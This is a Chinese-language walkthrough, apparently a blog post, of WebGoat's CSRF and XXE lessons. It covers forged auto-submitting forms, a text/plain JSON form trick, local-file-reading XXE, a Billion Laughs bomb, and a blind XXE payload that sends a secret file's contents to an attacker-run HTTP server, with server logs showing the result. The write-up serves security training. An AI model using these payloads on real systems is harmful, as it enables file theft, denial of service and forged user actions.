WebGoat全通关:A5-Security-Misconfiguration
Cross-Site Request Forgeries (CSRF) #
CSRF 利用了:
- 服务端对客户端的信任
- 客户端对服务端的信任
- 触发 HTTP 请求可能会有的副作用
- 通过数据交换改变 HTTP 连接的状态(认证或基于认证的动作)
CSRF 的攻击场景比较受限,一般是在其它用户的浏览器上
也就是说,攻击者再怎么自己抓包改包都没有意义!
CSRF 的精髓在于最大化利用受限的页面资源来接近真实请求的效果,并让他人触发
基本方式大致有:
- HTTP
form元素(最传统) - JavaScript
fetch接口 - JavaScript
XMLHttpRequest(XHR)
做 CSRF 攻击时需要明确 Origin 的概念:
源就是协议、地址、端口的组合,一旦三者有一者不同,就可以看作不同的源
发起请求时,源被浏览器设置为用户主动访问的站点(例如在 CSRF 钓鱼邮件中,源就是邮箱网站)
CSRF 是跨源的请求,因此会受到浏览器对跨源请求的限制
举例来说,源站可以在响应中添加跨源请求策略 (CORP) 头,以白名单的形式限制跨源请求
当然,跨源请求的源是不可预知的,被请求站不可能信任所有的第三方
所以 HTTP 提供了更优雅的做法:被请求站在响应中添加访问控制头(例如 Access-Control-Allow-Origin),浏览器会检测源站是否在这些控制头允许的范围内,如果不然,将拒绝提供返回的资源
当然 CSRF 往往不是为了使用资源而是为了改变被请求站状态,只要被请求站处理请求就算成功
所以对于大部分请求,XHR 和 fetch 的实现方式是先发送一个不改变状态(OPTION 方法)的试探 (preflight)
如果被请求站的响应中拒绝了请求,则浏览器也会拒绝继续跨源
但是这并不能从根本上防御 CSRF:
-
HTTP form 这种传统元素可以触发不带试探的跨源请求
-
某些请求(例如
fetch)被认定为简单请求,不触发试探 -
某些 JS 函数可以发出直接无视跨源请求策略的请求(浏览器实现的 bug)
https://bugs.chromium.org/p/chromium/issues/detail?id=490015
所以防御 CSRF 的根本办法是使用 anti-CSRF token,每次请求中都检查并刷新 token
令牌可以从 Cookie 衍生,然后放在自定义请求头中,也可以放在 GET 请求响应里
但注意这样的 Cookie 不能是 http-only 的不然前端脚本无权读取,不过不用担心 Cookie 被 CSRF 脚本窃取(还记得 CSRF 是跨源的吗)
PS: 请不要重用令牌 Cookie 和会话 Cookie,因为会话 Cookie 应当总是 http-only 的(回顾一下 XSS)
不管是跨源策略也好还是令牌也好,是否存在 CSRF 取决于站点自身的配置,因此 WebGoat 将 CSRF 归类为 Misconfiguration
在下面的实验中,请将自己想象成一个正在访问其他网站的、一无所知的用户
实验一:POST form #
通过 CSRF 触发网页上的 Submit 拿到 flag
审查元素并复制表单源码,将 action 改为绝对的 URL(因为要跨源)
伪造一个页面(模拟 CSRF)
<html>
<head></head>
<body>
<form
accept-charset="UNKNOWN"
id="basic-csrf-get"
method="POST"
name="form1"
target="_blank"
successcallback=""
action="http://127.0.0.1:8080/WebGoat/csrf/basic-get-flag"
>
<input name="csrf" type="hidden" value="false" />
<input type="submit" name="submit" />
</form>
</body>
</html>
在相同的浏览器中用 file:// 访问并点击按钮即可
实验二:绕过 anti-CSRF token #
审查元素可以发现一个 token
试了几次之后发现这个 token 是不会变的,一直是 2aa14227b9a13d0bede0388a7fba9aa9
所以和实验一一样造一个相同的 form 即可
上面两个实验可以用 fetch 和 XHR 做吗?
答案是不行的,两个请求都需要带着 WebGoat 会话 Cookie 做来模拟真实情况,而会话 Cookie 是有 http-only 字段的,不能通过脚本访问
实验三:对 RESTful 接口 CSRF #
这个实验需要对一个 POST JSON 的接口 CSRF
首先由于要带会话 Cookie,自然是不能使用 fetch 和 XHR
而 JSON 的格式也不符合 POST 表单,该怎么办呢?
如果将表项的 value 删掉并把 name 设置为 JSON,可以看到反序列化失败
这里有两个问题
- 表单被 URL 编码,而接受 JSON 的接口不会解码
- 虽然
value被置空,但表单的格式中存在一个等于号
针对这两个问题修改 POST form
- 将 enctype 设置为
text/plain防止数据被编码 - 将 JSON 一部分填写在
name中,另一部分填写在value中,用引号包裹等于号!
<form
name="xx"
enctype="text/plain"
action="http://127.0.0.1:8080/WebGoat/csrf/feedback/message"
method="POST"
>
<input
type="hidden"
name='{"name":"'
value='WebGoat","email":"webgoat@webgoat.org","message":"WebGoat is the best!!"}''
/>
<input type="submit" value="Submit feedback" />
</form>
<!--
<script>
document.xx.submit();
</script>
-->
想要自动提交可以用 document.xx.submit()
最后一个实验:CSRF 登录 #
举例来说:攻击者注册一个谷歌账号,然后通过 CSRF 使得受害者在浏览器上以这个账号登陆谷歌
这样攻击者就可以受害者不知情的情况下知道受害者的搜索记录,甚至是保存的密码
实验很简单,就是首先模拟攻击者,注册一个账号
然后模拟受害者,想以原来的账号点击按钮,却因为 CSRF 登陆了攻击者注册的账号(这里手动登录一下就可以)
然后就以攻击者注册的账号点击了按钮,这个行为显然被攻击者窃听到了
XXE #
众所周知,XML 本质上是对元素组织结构的定义
只要符合架构,不论元素是什么,都可以被称作“完备的”(well-formed)
而 HTML 比起 XML 多了对元素的规定
比如所有的 HTML 都由 <html> 包裹一个 <head> 一个 <body> 组成,再比如 <p> 就在 DOM 上定义了一个段落,而 <pp> 就是非法的
这时候下面的定义就是很合理的了:
如果某 XML 中的元素和它们内部的属性都符合某种规定,那么这样的 XML 被称作“合法的”(valid)
这种规定被叫做 DTD(Document Type Definition, 文档类型定义),一般写在 XML 开头
理论上讲,可以通过定义 DTD 延拓出各种标记语言
DTD 基本上由三种东西组成
ELEMENT规定元素的标签和其内容的类型 类似语法ATTLIST规定某元素应当有什么样的属性列表ENTITY实体,类似宏定义,可以在文中被引用
拿 WebGoat 的例子来说
DTD 的定义是这样的:<!DOCTYPE type [ DTD ]>
HTML 开头的 <!DOCTYPE html> 也预示着这是一个 HTML 文件
DOCTYPE 也可以引用一个外部文件:<!DOCTYPE type SYSTEM "a.dtd">
而实体的定义和它很像,也可以引用一个外部文件:
<!ENTITY copyright SYSTEM "https://example.com/copyright">
在文中使用实体 a 的语法:&a;
这些外部引用的实体就叫做 XXE (XML eXternal Entity)
HTML 中的 其实就是对预定义实体 nbsp 的引用(表示一个空格),除此之外的预定义实体还有很多,用于表示各种特殊字符
XML 解析器一般会把文档类型解析成一个类,而 XML 文件会被看作这个类的一种序列化
所以严格来讲 XXE 并不是一个漏洞,这就是为什么它被分类为 Misconfiguration
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE author [
<!ENTITY js SYSTEM "file:///etc/passwd">
]>
<author>&js;</author>
XXE 的防护方式也很简单,直接禁掉就好了
这是 Spring 中的例子
XMLInputFactory inputFactory = XMLInputFactory.newInstance();
inputFactory.setProperty(XMLInputFactory.SUPPORT_DTD, false);
inputFactory.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
第一个实验:泄漏根目录文件列表 #
抓包可以看到评论是以 XML 的形式传递的
直接对它进行改包
<?xml version="1.0"?><!DOCTYPE comment [ <!ENTITY foo SYSTEM "file:///"> ]><comment><text>&foo;</text></comment>
第二个实验 #
这次 POST 使用的 Content-Type 是 JSON,不过这次向我们展示的是开发者只考虑了 JSON 的情况
直接把 Content-Type 换成 XML,payload 同上就可以过关
Billion Laughs/XML Bomb #
实体的引用和宏展开很像,所以理论上指数爆炸是有可能的
下面就是经典的 XML DoS 攻击的例子,也叫 Billion Laughs
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
第三个实验:盲打 #
回归正题,实战中的 XXE 往往是没有回显的
但是对外部资源的引用至少能够提供 SSRF 的机会
这里要先展示一个新的语法:参数化实体
<!DOCTYPE root [
<!ENTITY % bar SYSTEM "http://example.com/a.dtd">
%bar;
]>
有时候部分 DTD 的定义存在于外部的链接中,而在 DOCTYPE 里直接引用外部文件作为 DTD 的方式显然不符合需求
因此就需要把这个链接中的文件暂存在一个实体中,再释放并执行定义
这样的实体需要用 % 作为前缀,对参数化实体的释放也需要使用 % 打头的语法
这个特性看起来方便,却极大丰富了 SSRF 的攻击向量,给盲打提供了可能
实验需要获取 /home/webgoat/.webgoat-2025.3//XXE/webgoat/secret.txt
基本思路和上面差不多,首先开一个 HTTP 服务
虽然没有回显,但是可以把 flag 储存在一个实体中
<!ENTITY % foo SYSTEM "file:///home/webgoat/.webgoat-2025.3//XXE/webgoat/secret.txt">
然后通过 GET 请求把内容藏在参数中发出去(这是盲打的很常见的做法)
<!ENTITY % fuck SYSTEM 'http://172.17.0.1:8888/?data=%foo;'> %fuck;
然而按照 XML 的规定,SYSTEM 中的 % 不会解析
172.17.0.3 - - [25/Mar/2025 03:17:53] "GET /?data=%foo; HTTP/1.1" 200 -
这里有一种非常巧妙的绕过方法:再套一层
% 会在第一层解析,而到了第二层时已经是解析好的了
<!ENTITY % barz "<!ENTITY % fuck SYSTEM 'http://172.17.0.1:8888/?data=%foo;'>"> %barz; %fuck;
注意这里里面第二个 % 要编码为 % 否则会解析错误
组合上面的 payload 会发现又报错,原因是存在 % 的嵌套(非 SYSTEM)
不过将第二段实体放在外部文件中就可以绕过
<!ENTITY % bar SYSTEM "http://172.17.0.1:8888/xxe.xml"> %bar;
如果后端是 PHP 也可以这样来规避一些编码问题
<!ENTITY % foo SYSTEM "php://filter/convert.base64-encode/resource=/home/webgoat/.webgoat-2025.3//XXE/webgoat/secret.txt">
最终的文件和 payload
<!ENTITY % barz "<!ENTITY % fuck SYSTEM 'http://172.17.0.1:8888/?data=%foo;'>"> %barz; %fuck;
<?xml version="1.0"?><!DOCTYPE a [ <!ENTITY % foo SYSTEM "file:///home/webgoat/.webgoat-2025.3//XXE/webgoat/secret.txt"> <!ENTITY % bar SYSTEM "http://172.17.0.1:8888/xxe.xml"> %bar; ] ><comment><text>&foo;</text></comment>
$ python -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
172.17.0.2 - - [15/Apr/2025 02:50:24] "GET /xxe.xml HTTP/1.1" 200 -
172.17.0.2 - - [15/Apr/2025 02:50:24] "GET /?data=WebGoat%208.0%20rocks...%20(GIwipFTRjI) HTTP/1.1" 200 -
WebGoat 8.0 rocks... (GIwipFTRjI)